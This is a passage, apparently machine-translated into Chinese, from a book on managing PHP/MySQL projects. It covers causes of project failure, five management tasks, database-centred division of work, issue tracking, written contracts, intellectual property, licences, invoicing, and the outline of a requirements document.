没有人想说开发团队的人不够好。他们最接近的说法是这些人没有得到足够的训练,这可能是真的。但是,让我们面对现实吧,人们有时就是没有才华或者经验不足,或者两者都有。正如我前面说过的,和最优秀的人在一起,无论如何你都可能会成功,因为最优秀的人会尽一切努力去成功。和错误的人在一起,很难看到你能取得成功。
未能建立高风险特征的原型
你不能就这么一头扎进去,假装那些高风险的第三类特征是正常的。当团队不顾一切地试图让系统按照承诺的方式工作时,项目会因为过于接近交付日期而陷入困境,这是一个真正的危险。正如我所说的,高风险的任务必须首先被攻击,而不是被推迟,以便团队可以通过采摘低挂的果实来显示早期的,但误导性的进展。(我想起了 1993 年,当运行自动行李处理系统的软件被调试时,完全完工的丹佛新机场推迟了一年半才开放。这一部分早就应该完成了。)
糟糕的设计
设计是获取需求并提出实现这些需求的蓝图的过程,有点像建筑在建造建筑物中的作用。如果设计不好,即使需求是正确的,设计的实现是完美的,项目也会失败。
在我看来,许多系统根本就不是设计出来的。程序员获取他们拥有的需求,如果他们使用敏捷方法,可能只需要一周的时间,然后开始编码。即使有,也很少项目中有人拥有应用设计者的头衔。的确,有用户界面设计师,但用户界面只是设计的一小部分,正如门把手、电梯按钮和 HVAC 控制只是建筑的一小部分。
糟糕的开发过程
即使有一套好的需求,如果开发过程很糟糕,项目也会陷入大麻烦。其中的罪恶有
- 等到开发后期才集成组件。
- 单元测试不充分,导致集成失败和大量时间浪费。
- 模块分配给人的方式很差,没有清晰和最小的界面。
- 笨拙和/或频繁变化的数据库模式。
- 草率的编程习惯,在代码遍历期间没有得到纠正。
- 覆盖有缺口的系统测试。
- 没有通过频繁的演示和 alpha 版本吸引客户。
改变了优先级
20 世纪 70 年代我在贝尔实验室时,这是项目的杀手。一个项目开始了,人员配备水平只有贝尔实验室的所有者能够负担得起,然后几年后因为技术进步(我已经提到过 AMDF 项目),更重要的项目需要人员,或者经济变化而终止。也许另一家公司在开始一个前景如此可疑的项目之前会考虑得更仔细一些,但在那个年代,在& T 是一个受监管的垄断企业,不必监督其开支。
如今,优先级的改变很可能意味着风险投资的枯竭。
破坏
破坏是经理故意扼杀项目的企图,通常是秘密进行的。一种常见的情况是,从未支持过项目的人替换了经理。这种以及其他形式的公司内斗超出了本书的范围;我在这里列出这种情况只是为了承认这是很常见的。
管理项目
根据定义,管理是利用资源来完成目标。在一个软件项目中,目标是满足客户,在日常工作中,它的代理就是需求。资源主要是人,尽管设备和外部服务也可能参与进来。
管理有很多,但是,有五个必要的任务,如果做得正确,将导致成功。前三个反映了我前面讨论的三个维度。
- 防止需求不必要的扩展。
- 让合适的人加入团队。
- 密切监视时间表,并在必要时进行更改。
- 确保所有的工作都分配好了。
- 让人们愉快地专注于他们的任务。
就这样!做到这五点,如果需求正确,项目就成功了。任何一项失败,项目都会失败。
我已经解释了为什么前三个任务如此重要,我将在第二章中对需求做更多的说明。
令人惊讶的是,经常被忽视的任务 4 是确保你开发所有可交付物的。人们很容易被管理编程的复杂性所困扰,而忘记了更普通的需求,如文档、培训、安装和支持。任务 5 是确保你确实执行了你通过做前四项任务而制定的计划。程序员因偏离他们的主要任务而臭名昭著。更重要的是,你必须让他们开心,否则他们的生产力会一路下降到零,甚至可能是负数。
我一直小心翼翼地使用“管理”这个术语,而不是“经理”所有的项目都必须有管理,不管多小;没有它,资源就不能用于实现目标。对于一两个人的团队,没有必要指定其中一个人作为经理。但是三人以上的团队需要知道谁是老大。通过一致意见来决定事情的效率太低,而且有失去通往目标之路的风险。半打以上的人,还需要有一个专职经理。
但是,不管你怎么安排,这五项基本任务必须完成。你可能会说,对于一个协作的、无我的、面向团队的方法来说,时间表和工作分配是不必要的,但我不同意。我认为这导致了必然的失败:一个晚期的项目,带有不受欢迎的工作,例如转换、文档或培训,没有完成或随意完成。
下面是我如何为超级超市的收银员调度软件 SuperSked 做事。当我被请来管理工程时,他们已经花了一年的时间烧完了 50 万美元左右的风险投资,这笔投资本该让他们获得一个 Windows 版本的系统,而这个系统原本是为面向字符的 UNIX 终端开发的。一年后,他们完成了一个花哨的面向对象的用户界面框架,除此之外别无其他。我同意再拿 25 万美元左右的风险投资,并在大约 6 个月内完成这个系统。如果我失败了,插头就会被拔掉,公司就会倒闭。
因此,在需求、资源和进度这三个维度中,有两个已经确定了。实际上,需求也是如此,因为新系统必须完全取代旧系统,这意味着它必须提供与旧系统相同的需求预测、遵守工会规则、成本优化和打印时间表,但在 Windows 上。
我认为这是可行的,就签约了。大约有八个人在开发,包括一个从事优化算法的数学家和一个测试专家。新 CEO 和我解雇了三名技术能力足够强的人,但他们花了太多时间争论现有系统是否在正确的轨道上。经过一周左右的学习,我扔掉了他们花了一年时间编写的 100%的代码,但保留了数据库设计,这非常棒。我雇了两个程序员,一个是以前的同事推荐给我的,一个是报纸广告上的。
列表上的任务 1 和 2 到此结束:人员和需求。
我知道时间表的终点,但不知道中间点。因为我们还有六个月的寿命,我计划了四个月的开发,给我们一个月的时间进行系统测试,一个月的时间处理不可预见的问题,根据定义,这是无法计划的。
所以,我尽我所能绘制出这个系统,并把工作分成 16 个每周部分。当然,我们并没有严格按照计划行事——从来没有人会这样做——但是我必须说服自己,这个问题有一个解决方案。任务 3 完成。
然后我单方面地分配工作。在其他项目中,这将通过协作来完成,但没有时间这样做。我只是告诉人们我想让他们做什么。这是任务 4。
有了这些,我唯一的管理工作就是任务 5,让每个人都集中注意力。我在每周例会上做到了这一点,我们在房间里走来走去,这样每个人都可以很快说出自己在哪里。我们还要维护现有的系统,所以客户的问题也摆在了桌面上。
每周例会通常会产生一些需要我进一步关注的问题,我会私下拜访相关人员来解决。一条严格的规则是,我们在每周例会上从不讨论任何事情。他们只是为了地位。他们从未超过半小时。
团队中的许多人已经习惯了拖拖拉拉的会议,在这些会议上,人们试图就某个问题做出决定。我在第一次会议上解释说,我只想要地位,但这并没有马上流行起来。该公司的创始人之一 Seth(化名)开始喋喋不休地谈论他试图找到他正在做的事情的解决方案。以下是随后的对话:
我:“塞斯,别说了。”
赛斯:“我在解释我一直在做的事情。”
我:“我知道,但这是一个状态会议。只需告诉我们它是已完成、正在进行还是尚未开始。”
赛斯:“正在进行中,但我需要解释一下,它变得复杂了。”
我:“Seth,你把这和人们谈论的会议搞混了。不是的。在这个会议上,几乎所有的发言都由我来做,轮到你的时候你也可以发言,但你只能说三件事情中的一件。”
大家:嘲笑我的讽刺。幸运的是,塞斯也在笑。
赛斯:“进行中。”
我:“很棒的报告。下一项?”
许多年后,我遇到了测试专家,她告诉我她多么喜欢这个项目。我告诉她,我可能表现得像一个讽刺的混蛋。她不同意,告诉我我是他们有过的第一个真正管理的经理;他们厌倦了失败,而且,他们都认为我的讽刺很有趣。(是;我很擅长这个。)
顺便说一下,我们按时交付了新系统,客户很喜欢它,该公司被卖给了同一行业的一家更大的公司,十年后该公司的产品仍然很好。对投资者来说,更重要的是,在吻别之后,他们拿回了自己的钱,甚至更多。我继续前进,但我认为创始人塞思仍在那里,他所有的股票都完好无损。
这是我方法的另一个例子,这次是在我去的下一家公司,也有麻烦。一个叫 Brian 的程序员开始让数据库管理员恼火,因为他卷入了性能和备份之类的数据库问题,甚至与他的工作毫不相干。我请他到我的办公室来。
我:“我知道你已经开始帮忙处理数据库了。”
布莱恩:“是啊。真的没做对。我很乐意帮忙。”
我:“你还记得你的作业吗?”
布莱恩:“当然。web 更新页面。”
我:“所以,这就是我要你做的。就那样。”
布莱恩:“我正在做。但我也认为我应该在力所能及的地方为其他事情做出贡献。”
我:“绝对的。你可以做任何你认为最好的事。完全由你决定。我无权干涉。”
布莱恩:开始紧张地微笑。
我:“这里只有你不行。在这里,你只能做你的作业。”
布莱恩明白了:“所以。。。我来更新网页。而不是数据库。”
我:“那就好。谢谢你。顺便说一句,它看起来真的很好。”(不知道这是不是真的,但我希望他开心地离开。)
你可能会对我的独裁风格感到震惊,但是考虑到我们董事会强加的限制,我打算最多花两分钟让这个优秀但心不在焉的程序员回到他的任务中。
另一个重要的监控任务是确保由不同的人开发的各种组件能够组合在一起,并使用最新的数据库模式。如果系统需要构建,它应该每晚自动构建。(PHP 程序通常不需要构建,只需要将文件放在服务器上适当的目录中。)已经开发的任何自检系统测试也应该运行。团队中的每个人每天早上都应该收到一封电子邮件,告知结果。如果有任何问题,修复它是当务之急——在系统集成并通过自检测试之前,不应进行任何进一步的开发。
分工
他是松树,我是苹果园。
我的苹果树永远也过不去了
我告诉他,吃他松树下的球果。
他只说,“好篱笆造就好邻居。”
——罗伯特·弗罗斯特,修补墙壁
一个有很多交流的项目是一个令人愉快的项目,但是很少的交流应该是关于组件之间的接口。界面需要简单、最小和稳定。一旦建立,如果有更多的关于他们的讨论,事情是非常错误的。但是,如果接口是正确的,系统将顺利地集成,并适应变化,而不会失去其结构完整性。
组件之间的接口也应该是开发团队成员之间的接口。这使得开发人员可以按照自己的节奏和最有意义的顺序工作。糟糕的界面——泄露太多信息的界面——导致开发人员不得不等待对方完成工作,并导致已经完成的工作被重做。
这并不是说团队不应该每天都有重要的事情要谈。谈论每夜构建和测试的结果,关于客户不断发展的需求的新见解,以及可以从团队工作中受益的技术问题是很好的。但是经常说接口就不行了。他们需要稳定到无话可说。
利用数据库中心性
我几段前提到的那个 SuperSked 应用是我管理的第一个以数据库为中心的项目,有两三个人以上参与,开发进行得非常顺利,尽管应用本身相当复杂。几乎没有集成困难。通过测试发现的错误很快被识别和修复。
我们做了很多正确的事情:一个了不起的开发团队,充分理解的需求(它是现有系统的替代品),以及一个紧凑但合理的时间表。但是项目组织的另一个方面真正起了作用:所有的组件只与数据库对话。他们完全从用户(通过表单)或数据库获取数据,并将结果存储回数据库。组件之间从不直接对话。
测试基于从现有系统的客户那里捕获的数据库快照,然后使用相同的转换程序转换到新的数据库,这些转换程序后来成为已部署系统的一部分。一个组件可以独立运行,因为它需要的一切都在数据库中。(一些组件需要一些数据输入。)那么数据库中的结果可以容易地被检查。如果有什么问题,那一定是组件本身的问题,因为这不可能是接口问题。
好消息:PHP/MySQL 应用,这本书的重点,提供了完全相同的优势。然而,为了利用这一优势,您必须将每个组件——每个表单、报表和业务逻辑模块——设计为只与数据库接口。
组件开发人员和数据库设计人员之间有很多交流,尤其是在项目开始的时候,因为模式很复杂,有很多微妙之处。但是一旦这个模型被很好的理解了,即使是这些对话也几乎停止了。
下面是一个组件如何只与数据库接口而不是直接与数据库接口的示例:安排检查程序的第一步是根据一年中的时间、一周中的日期、是否有假期、预测的天气以及其他一些因素来预测需求。第二,必须确定劳动力的可用性,这取决于工作时间表、工会规则、培训(不是每个人都能处理快速注册)等等。这两个初步步骤的结果然后被输入到一个非常先进的优化算法中,该算法计算一段时间,可能是 10 或 15 分钟,然后咳出一个时间表,然后被安排到各种报告中,包括一个张贴在员工公告栏上的报告。
显而易见,要做的事情是找到一种方法,例如使用 XML,将预测和可用性模块连接到优化器。我们没有那么做。我们让他们将数据插入数据库,并设计优化器来查询数据库的输入。这样做的一个巨大好处是,从事优化器工作的程序员可以继续在相同的输入上运行它,而根本不用处理前面的模块。而且,一旦从事这些工作的程序员验证了数据库中的数据是正确的,他们就完成了。不需要实际运行优化器。
对于从事遗留系统工作的程序员来说,数据存在于内部巨大的 Fortran 风格的数组中,将所有这些数字写入数据库的想法看起来非常奇怪。但是,一旦完成这项工作的函数被编码,工作就完成了,他们再也不用处理接口问题了。
将组件分配给人员
许多 PHP/MySQL 项目非常小,可能是因为大型企业开发倾向于使用更高级的技术,如 Java EE 或. NET。我没有具体的数字,但我猜一半的 PHP/MySQL 项目是由一两个人完成的,四分之一是由四个人或更少的人完成的。所以,工作通常只分成几种方式。
对于任何 PHP/MySQL 项目,以及大多数其他项目,开发工作的类别都是
- 数据库设计和实现,
- CRUD(创建、检索、更新、删除)网页,
- 业务逻辑(例如,安排超市收银员、递送路线、计算发票),
- 报告和其他产出,
- 转换,
- 系统测试,
- 文档,以及
- 训练。
如果有两个人,一个人负责数据库、转换和报告,因为这几乎是一个独立的应用。一旦数据库加载了转换后的数据,就应该有足够的数据来测试报告。另一个人可以做 CRUD 和业务逻辑。系统测试、文档和培训可以按照你认为合适的任何方式分开。
对于三个人来说,如果业务逻辑很复杂,就像 SuperSked 的情况一样,那就是一份全职工作,其他工作可以像两个人一样分开做。
如果超过三个,将数据库和转换结合起来仍然是有意义的,因为转换暴露了数据库需要能够建模的太多内容。此外,一旦设计并实现了数据库,它就不再是一项全职工作。其他组件可以根据它们的复杂性和团队成员的技能来划分。
请记住,无论您如何分配组件,它们只与数据库接口,而不会相互接口。
职场
组织一个项目的一部分是组织一个工作场所。
就技术而言,对于 PHP/MySQL 项目,物理位置并不重要。在您自己的计算机上建立一个开发系统并把文件发送到开发服务器进行集成是很容易的。你不需要任何特殊的硬件;任何运行 MacOS、Windows 或 Linux 的笔记本电脑或台式机都可以。
如果每个人每天都来办公室,项目的运作就会容易得多。电话、Skype、短信和电子邮件都不能代替面对面的交流。也许最大的区别是,只有当你知道你有事情要谈的时候,你才会开始电子交流。相比之下,面对面的交谈会带来意外的交流。例如,一个程序员可能会对另一个程序员说,“我忽略了你关于连接人员和状态表的讨论。我很确定已经有了一个观点。”或者,经过某人的桌子,瞥了一眼他的显示器,“你怎么能让菜单这样工作呢?jQuery UI,还是自己卷的?”这些互动不太可能发生在每个人都在家工作的情况下。
是的,有关于超级碗,钓鱼旅行,以及谁将取代老板的谈话,他们只是浪费时间。大多数远程工作者会说他们在家更有效率,他们可能是对的。
我两种方式都做过,每个人每天都参与工作的项目更容易管理,士气更高,并按计划进行。让程序员保持专注是五个必要的管理任务之一,正如我之前所说的,如果程序员自己离开了,这就更难做到了。不是不可能,只是更难。
因此,如果这将是一场势均力敌的比赛,每场比赛都至关重要,就像超级任务项目一样,每个人都需要在场上。
另一个工作场所的问题是,如果有办公室,是有私人办公室、小隔间还是一个大的工作区。如果每个人都在同一个房间里,就很难集中注意力,尽管这可以创造一个非常有创意和刺激的氛围。如今,对于大多数公司来说,私人办公室几乎总是过于昂贵。所以,它将会是小隔间,有严格的关于谈话和其他吵闹的追求的规则。
程序员可以花些时间在休息室是个好主意。它为盯着屏幕的人提供了喘息的机会,也为那些偶然的对话提供了肥沃的土壤。无论如何,安装一个足球桌;这至少会给你的新兵留下深刻印象。
问题跟踪
随着项目的进展,团队必须跟踪需求的变化、测试中发现的错误、要解决的设计问题、各种要做的事情等等。我把它们都叫做问题,并把它们输入数据库,这样它们就不会被遗忘。
找到您喜欢的具有以下属性的系统:
- 足够灵活,可以处理各种问题,不仅仅是 bug,还可以充当客户支持系统。
- 允许你定义你自己的项目、子系统、人员、状态、严重性、优先级和所有你想要的属性。我见过的大多数系统都可以做到这一点。
- 有一个网络界面。不管你使用什么平台,如果有一个本地应用也没问题,但是网络界面允许通用访问。
- 使用一个可以用 PHP 访问的数据库,这样你就可以根据需要编写自己的实用程序。
在过去一年左右的时间里,我一直在使用 FogBugz ( fogcreek.com/fogbugz
)来支持我自己的软件产品,它可以做前面列表中的所有事情。它对一两个用户是免费的,对于更大的群体,每个用户每月 25 美元。(免费版没有数据库访问。)你可以在自己的服务器上安装其他完全免费的替代软件,比如 Bugzilla ( bugzilla.org
)或 HESK ( hesk.com
),但你必须花时间安装并运行它们。我发现 HESK 的安装是由我的虚拟主机公司(A2 Hosting)自动完成的,所以我后来改用了它。这是一个 PHP/MySQL 应用,这意味着你可以用自己的 PHP 程序轻松访问数据库,我将在第二章的中展示。
你用什么系统并不重要,重要的是你用它来解决所有问题,所以只有一个地方可以看。电子邮件、纸片、短信和口头评论都应该输入到问题跟踪器中。
如果您直接与客户合作,请考虑让您的客户访问问题跟踪器。这样做的缺点是它提供了太多的细节,可能会让客户不必要地担心对开发人员来说是无关紧要的事情。“建筑因为缺少头问题而被炸毁”或者“严重崩溃,需要重新生成”并不是什么大问题,但是对于外行人来说,它们听起来可能是不祥之兆。也许提供及时的报告更好,可能在一个网站上,每天晚上可以自动更新。
被确定为真实且需要关注的问题应由整个团队至少每周审查一次,以确保没有任何东西被忽略,并且每个团队成员都专注于他或她的任务(本章前面列出的管理任务 5)。仅仅通过电子邮件分发名单是不够的。一个问题需要单独讨论,即使只有一两秒钟。如果你能旁听我的一次会议,你会听到类似下面这样的话:
领导:“1478。”
鲍勃:“成交。”
领导:“1492。”
简:“成交。”
领导:“1501。”
玛丽:“正在进行中。需要讨论。”
领导:“1504。”
汤姆:“成交。”
然后在点名结束时,任何标记为需要讨论的问题都可以讨论。当整个团队都在房间里时,你不希望花超过一两分钟的时间来谈论一个可能只涉及几个人的问题,所以在这么短的时间后,应该离线讨论。如果情况紧急,经理可以去见相关人员。如果没有,它将在下周的会议上再次被提出。
既然已经完成了为什么还要调出 1478 期?这不是已经记录在问题跟踪器中了吗?是的,但是鲍勃应该有机会大声说出来。他不能发表演讲——毕竟只是小小的 1478 年——但他有两秒钟的发言权。
法律事务
就像我在本章开头所说的,你的目标是让你的客户满意,如果你这样做了,你就可以避免法律上的麻烦。尽管如此,还是有一些具体的事情需要你关注。
有书面合同
在不同的时候,我的三个朋友请我帮助他们解决与咨询客户的纠纷。一个是关于准备培训课程的复杂付款公式,一个是关于专利所有权,一个是关于软件权利。这三家公司都有一个共同点:没有书面合同。我不是说没有律师起草的文件;我的意思是根本没有写下来。
我不知道为什么会这样。也许他们认为书面合同需要律师,他们不想要这笔费用。也许他们仓促上马了这个项目。也许有一方希望日后能够灵活地退出交易。无论如何,你不应该落入那个陷阱。把它写下来。
合同中需要包含哪些内容?嗯,他们说记者应该写谁、什么、哪里、什么时候、为什么、怎么(除了婚礼,他们跳过了为什么)。这也是一份不错的书面合同清单。谁将为谁做这项工作,这项工作是什么,系统将在哪里开发和安装,何时交付,以及如何完成。如果你愿意,可以跳过为什么。但是,包括婚礼之后的事情:离婚。说明如何终止合同以及终止后会发生什么。还包括谁拥有什么,这我将在下一节讨论。当然,还有你会得到多少报酬,多久一次。
真的,如果我的任何一个朋友有这份清单,甚至作为一套非律师的要点,他们会避免他们的困难。
你可能会发现自己处于这样一种情况,你认为建议你和你的客户签订书面合同是令人不快的。在这种情况下,不要使用“合同”这个词只需发一封电子邮件,说类似这样的话:“我想我应该回顾一下我们的工作协议,以避免以后给我们的回忆增加负担。”然后继续列出要点,并通过回复电子邮件要求客户确认他或她的同意。电子邮件可能会澄清任何分歧,如果没有澄清,任何调解人/仲裁人都会从中开展工作——med/ARB 是一个非常灵活的流程。法院也可能,但你不太可能走到那一步。
知道谁拥有什么
你将系统交付给你的客户,但是他或她拥有它吗?是吗?以后你能为另一个客户使用这些代码吗?如果它包含了您在项目开始前编写的代码呢?你失去所有权了吗?专利呢?版权?商标?
这一切都被称为知识产权 (IP)。在我工作过的每个项目中,客户拥有我在向该客户收费期间开发的所有东西。因为工作的性质,我从来没有想过要拥有它。但是,如果你被雇佣去发明一些真正新颖的东西,比如推荐电影的算法,或者安排送货车辆的路线,或者一个社交网站,你最好就所有权进行谈判并写下来。
有几次,我决定开发一些通用软件,用于当前的项目,并保留下来供将来使用。为了发展这一点,我关掉了时钟,当一般化的部分完成时,又把它打开了。这是合同中规定的。
有一个法律术语叫做“雇佣作品”,在版权的背景下,意思是雇佣作品的人就是作者。这通常是你工作的方式,不管你是雇员还是承包商,你都可以把这个条款写进你的合同里。如果你想要任何其他安排,你必须小心,在这种情况下,你可能需要一名律师参与。
无论如何,正如我所说的,在大多数情况下,你应该抛开任何你会从这个项目中得到一些东西的想法,除了你的工资,一个满意的客户,和更多工作的可能性。试图对知识产权提出要求变得非常棘手,而且无论如何,你的项目不太可能产生任何有价值的东西。
如果你认为你写的一些通用代码可能是有用的,你可能会得到一个条款,说你可以在其他项目中使用任何非特定应用的通用代码,而不需要付费。许多客户会同意这一点。如果他们没有,就像我提到的,在下班后做。
在我的一个朋友卷入的专利纠纷中,问题是他希望自己的名字出现在专利上,因为他是发明人,只要专利被转让给他们,他们就没问题。他不同意这一点。如我所说,什么都没写下来。最终,他们以不署名的方式提交了专利,声称自己是发明者。从法律上来说,我不知道这是否正确,因为这与雇佣工作有些关系。它从未被提起诉讼。他只是生气地离开了。令人惊讶的是,这是第二次这个家伙陷入知识产权纠纷,两次都没有书面合同。显然,他不听我的劝告。不过,你应该。
当心许可证纠纷
应用中包含的一些软件既不属于您也不属于您的客户:第三方包,如 PDF 生成库、您调用的可执行文件以及产品附带的 JavaScript 代码,如 jQuery。其中大部分将被某种开源许可所覆盖,比如 MIT、Apache、BSD、GPL2、Lesser GPL (LGPL)或 GPL3 许可,这是我最常遇到的五种许可。还有商业牌照,每个都不一样。
每个许可证都对软件用户提出了要求,从包括版权声明(MIT)到提供你自己的应用的源代码(GPL3)到为每一个使用的拷贝支付版税。你最好了解你使用的每个组件的来龙去脉。
如果可能的话,请仅使用麻省理工学院、阿帕奇、BSD 或 LGPL 许可涵盖的第三方软件。商业软件应该被避免,除非它提供的功能无法用其他方式提供。如果你打算将 GPL2,尤其是 GPL3 软件集成到你自己的系统中,这是很危险的,因为它可能会迫使你做一些你和你的客户都不想做的事情:向公众发布你的代码。然而,如果你只是打算连接到它(MySQL)或者在它上面运行(Linux),你不需要担心。安装必须为此获得许可,而不是软件开发人员。大多数时候,我使用提供 MySQL 和操作系统(通常是 Linux)的商业主机服务,所以对他们来说不存在许可问题。我只是担心我并入 PHP 程序的源代码。
涉及律师
有些情况下你需要律师,比如你想拥有你开发的 IP,但这种情况很少。你通常不需要律师,即使你用了,他或她也不能帮你避免法律麻烦。
原因如下:如果对书面合同有争议,几乎肯定会是关于要开发什么,是否通过验收测试,以及何时交付。所有这些都是你指定的,而不是你的律师。以下是律师起草的合同中的典型段落:
开发商应作为买方的承包商,被 IRS 定义为 1099 承包商,并应根据功能规范和相关信息(如有)设计、开发和实施应用软件(下称“软件”),该功能规范和相关信息作为附件 A 附于本协议,并通过引用纳入本协议(下称“规范”),在本协议中有更全面的规定。
猜猜谁提供证据 A,你还是你的律师?你的律师根本不知道这意味着什么。作为一名专家证人,我在涉及美国电话电报公司、IBM、微软和其他一些小得多的公司的合同中看到过这种情况。这些大公司使用了世界上最昂贵、最有声望的律师事务所,毫无疑问,他们让非常合格的律师负责这些账户。但是没有一个律师知道什么是操作系统内核、非统一内存架构、虚拟设备驱动程序或危险废物清单。然而,这就是战斗的意义所在。
所以你的律师会收取你每小时 300 美元(或更多)的费用,但不会让你远离麻烦。如果你需要任何特殊的法律性质的东西,比如涉及知识产权的东西,请找律师,但是技术问题你得自己解决。
获得报酬
如果你是一名受薪雇员,你会得到报酬,除非你的公司濒临破产,在这种情况下,你可能已经在找另一份工作了。但是许多 PHP/MySQL 开发人员是顾问或承包商,所以及时付款不会自动发生。获得报酬有两个部分:开发票和收款。
货品计价
每个项目都需要一份书面合同,即使只是一封简单的概述关键协议的电子邮件。除非你是一名志愿者,就像我在世界事务系统会议上一样,这些协议必须包括以下内容:
- 你会得到多少报酬。
- 你多久给客户开一次发票。
- 客户何时支付发票。
- 谁能拿到发票。
- 您需要参考什么特殊代码,例如项目编号或供应商编号。
如果雇佣你的人不知道最后两个,不要惊讶。如果你找不到答案,你可能会在发现需要支付项目费用之前,向应付帐款部门发送几张发票。即使这样,你可能会发现,如果你留下你的供应商编号,你的发票可能会被忽略。接到一个友好的人打来的电话,主动提出写下一些关键信息,这是你不能指望的奢侈。许多组织欢迎延期付款的借口。尽量不要帮他们。
我总是按小时工作,从来没有固定价格的合同。当你加入客户团队的时候。以固定的价格工作会让你成为一个对手,每一个需求变更或 bug 报告都是产生分歧的机会。别这么做。
每小时多少钱?要看客户是谁,在哪里。阿尔伯克基或博伊西的费用可能是纽约或旧金山的一半。财富 500 强公司支付的比家庭经营多得多。事实上,每小时收费低于 125 美元左右,财富 500 强公司甚至不会雇用你,因为你显然没有资格做他们的工作。如果一定量的工作有保证,我有时会给折扣,因为我知道在寻找下一份工作时,我不会有那么多的停工时间。
如果可能的话,费用——旅行、设备、软件等等——应该是额外的。理查森学区无法证明支付外州承包商的差旅费是合理的,所以我把他们的差旅费计入了我的时薪。这很容易计算,因为我们已经同意每月两次为期两天的旅行。
找出你需要哪些费用文件,有哪些限制,如果是设备,是否需要归还,何时归还,归还给谁。
尽你所能找到发票的确切寄送地点和方式(电子邮件、PDF、公司供应商网站等)。).确保你有所有你需要的参考代码,这样他们就知道发票是谁开的,而且是经过授权的。(下一节将详细介绍这一点。)
及时收到你的发票。我曾经有一个客户破产了,因为我推迟了几个星期才寄出我的最后一张发票,所以一直没有收到付款。
收集
你会认为如果你提交了一份正确的发票,客户就会给你一张支票,对吗?事情并不总是这样,在下面的警示故事中就不是这样。
我当时是芝加哥一家大型律师事务所的专家证人,这家律师事务所的客户微软被另一家软件公司以违约为由起诉,该公司与微软有一份联合开发合同。我被指示把我的发票送到律师事务所,我照做了,前两笔都按时支付了。但是,从第三个开始,什么都没有。
律师事务所告诉我,他们甚至不应该支付前两笔费用,因为他们应该通过微软的法律服务系统,这就是我此后必须处理的事情。几天后,我收到一封电子邮件,里面有一个叫 MS Invoice 的东西的注册信息。
我上了网站,开始填表格,但是因为不知道订单号而卡住了。几封邮件来来回回试图得到它,期间我被告知使用 DataCert,而不是 MS Invoice。登录 DataCert 需要更多的电子邮件,其中一封邮件要求我提供我的微软联系人的姓名,而我没有。(我在案件期间没有和微软的任何人说过话;专家证人通常不直接与他们作证的一方说话。)我在说明中了解到,使用 DataCert 需要一笔可观的费用来支付安装成本。投诉的时候被告知不会收费。还有一份厚厚的多页法律协议要签署。最后,我签了协议,接受了他们的承诺,没有任何费用。
一旦我进入 DataCert,我需要一个问题编号,但我也没有。更多的邮件来得到它。最终,经过几周的反复,我能够让系统识别我的发票,此时我发现它们将在 90 天内支付。我最终得到了他们欠我的所有东西,但是,除了前两张发票,等待第三张发票的总时间大约是六个月。
所以,如果你在为微软这样的官僚机构工作,就要小心了。我不知道它荒谬的计划是一种改善现金流的故意方式,还是仅仅因为复杂性变得疯狂。不管怎样,获得报酬都是一个挑战。
雪上加霜的是,微软明确禁止我向微软开账单,因为我花了很多时间向微软开账单。因此,我有几个小时的时间是没有报酬的。
(如果你好奇的话,我从来没有发现这场诉讼发生了什么,因为它是在庭外解决的,大多数都是这样,结果是保密的。我问我的律师联系发生了什么事,但他只是笑着说他不能告诉我。)
教训:同意每小时付给你这么多钱是好的,但这本身不会让你得到报酬。弄清楚你要做什么才能真正得到报酬,否则你会等很久。
章节总结
- 你为其开发应用的客户决定了它的成功,所以你需要知道那些客户是谁,怎样才能满足他们。
- 项目的三个维度是需求、人员和进度。设置任意两个决定第三个。
- 开发团队的质量是应用能否成功的第二重要的决定因素。(首先是有正确的要求。)
- 即使有些因素,如需求和实现它们需要多长时间,是不可知的,你也必须安排时间。
- 对于 PHP/MySQL 项目,有简单明了的分工方式。一个指导方针是将转换和数据库设计放在一起,也许还有报告。
- 永远要有一份书面合同,但是你可能不需要律师来写。
- 仅仅因为你给顾客开了发票,并不意味着你很快就能拿到钱。你还需要知道如何收集。
二、需求
哦,你不可能总是得到你想要的东西
但是如果你有时尝试,你可能会发现
你得到你需要的
——滚石乐队
第一章 讲述的是项目的总体情况,无论是 iPhone 应用、喷气式飞机的航空电子设备、医疗记录系统,还是美国国税局的电子申报系统。但是现在是时候关注这本书的主题,并坚持 PHP/MySQL 应用的简单得多的世界。虽然一般来说收集需求的工作可能很难,或者在某些情况下,甚至是不可能的,但是对于 PHP/MySQL 应用来说,这是非常简单的。这在很大程度上是因为对性能要求很高的应用,或者非常复杂以至于需要几十甚至几百名开发人员的应用很少使用 PHP 编程,或者使用 MySQL 而不是 Oracle、SQL Server 或 DB2 之类的数据库。
因此,我们将把那些大型的、复杂的、多年的项目留给其他人,而只担心那些更小的、更简单的项目,它们是 PHP/MySQL 世界的特征。
通常,大多数写需求的作者会讨论产生需求的过程,但他们不会给你需求本身。显然,我也做不到这一点,因为我不知道你想要建立什么。但是,我可以比大多数人更接近。我会告诉你一个需求文档必须有哪些部分,并解释你需要在每个部分放什么。在某些情况下,我会给你你可以使用的确切的词。(记住,我只处理 PHP/MySQL 应用。)而不是讨论所有可能的方法,我只是告诉你该怎么做。当然,这只是一个友好的建议,而不是法律要求,但是我认为既然开发人员如此讨厌写需求,他们会喜欢一个按数字绘制的工具包,而不是一个四年制的美术学士学位。十年前,我会被指责过分简化了软件工程过程的一个关键部分,但是现在,考虑到敏捷方法的流行,它完全免除了预先的需求,我听起来像一个老式的、墨守成规的传统主义者。我感谢敏捷运动让我曾经激进的想法看起来像保守的想法。
需求文档的大纲
是的,它真的需要一份文件。写下来。不要潦草地写在白板上,写着清洁人员不可擦除的记号,也不要写在一堆便利贴上,或者电子邮件的档案里。如果你不想写文字,用图表或漫画。只要它以独立文档、电子表格或数据库的形式写下来。
虽然你当然可以用 Microsoft Word、Apple Pages 或任何其他文字处理器来编写需求,但是将它们保存为文本文件确实有好处,正如我将在“当需求改变时”一节中解释的那样
在我看来,PHP/MySQL 应用的需求分为 17 个部分,所有部分都必须存在:
- 数据库:主要实体(在第四章中解释)。不需要属性,因为它们应该放在数据库设计文档中。
- CRUD :用于创建、检索、更新和删除数据的 PHP 页面。
- 处理:任何比 CRUD 或报告更复杂的事情,比如安排超市员工,给房间分配会议,推荐书籍。
- 报告:数据库输出(屏幕、PDF、CSV、XML、RTF 等。).
- 外部接口:与其他计算机系统的连接。
- 国际化:使应用本地化——以及本地化本身——使其适应特定的语言和文化,比如西班牙语或德语。(国际化通常缩写为 I18N,代表 I、N 和中间的 18 个字母。本地化为 L10N)。
- 无障碍:针对残疾用户。
- 用户管理:管理用户登录和访问限制。
- 计费:向用户收费。
- 浏览器和平台:支持的浏览器及其运行的操作系统(客户端)。还有应用运行的平台(服务器)。
- 安装:支持安装应用。
- 容量:并发用户数量、数据库中的数据量、报告大小、响应时间等。
